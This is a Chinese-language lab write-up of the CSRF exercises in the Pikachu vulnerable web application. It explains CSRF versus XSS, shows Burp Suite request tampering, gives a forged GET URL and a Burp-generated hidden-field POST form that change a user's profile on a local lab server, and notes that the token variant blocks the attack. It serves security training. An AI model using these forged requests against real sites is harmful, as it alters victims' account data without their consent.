Pikachu——CSRF

简介

跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站]对用户网页浏览器的信任。

来自:百度百科

CSRF与XSS区别

CSRF是借助用户的权限完成攻击,攻击者并没有拿到用户的权限。目标构造修改个人信息的链接,利用lucy在登录状态下点击此链接达到修改信息的目的。
XSS直接盗取了用户的权限,然后实施破坏。攻击者利用XSS盗取了目标的Cookie,登录lucy的后台,再修改相关信息。

一、CSRF(get)

登陆后点击修改信息

1

然后浏览器上代理,用burpsuite抓包

2

上面是get请求的内容,我们把phonenum的值修改为123456,然后forword,发现账号kobe的信息发生了变化,结果如下图:

3

4修改成功

也可以直接构造一个url:

http://192.168.224.135/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=hack&add=123456&email=kobe%40pikachu.com&submit=submit

5修改成功

二、CSRF(POST)

也是先登录,这是必要的,然后抓取提交修改的流量,是POST方式。

6

直接在包中修改信息

7

8

也可以自己建一个表单,让被攻击者点恶意站点表单的URL。通过表单的URL去向存在CSRF漏洞的页面去提交POST请求。

表单代码:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://192.168.224.135/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="61" />
      <input type="hidden" name="phonenum" value="132" />
      <input type="hidden" name="add" value="852741" />
      <input type="hidden" name="email" value="kobe&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

9

10

三、CSRF(token)

同样的过程,get方式修改信息,但是还带了一个token参数。

11

由于这个token是随机不可预测的并且是隐藏看不见的,并且每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用.对于token,暂时还没有什么办法通过

FAQ

提示:使用未定义的常量 MYSQL_ASSOC. 如图所示:

12

解决办法:

切换PHP版本\刷新网页

13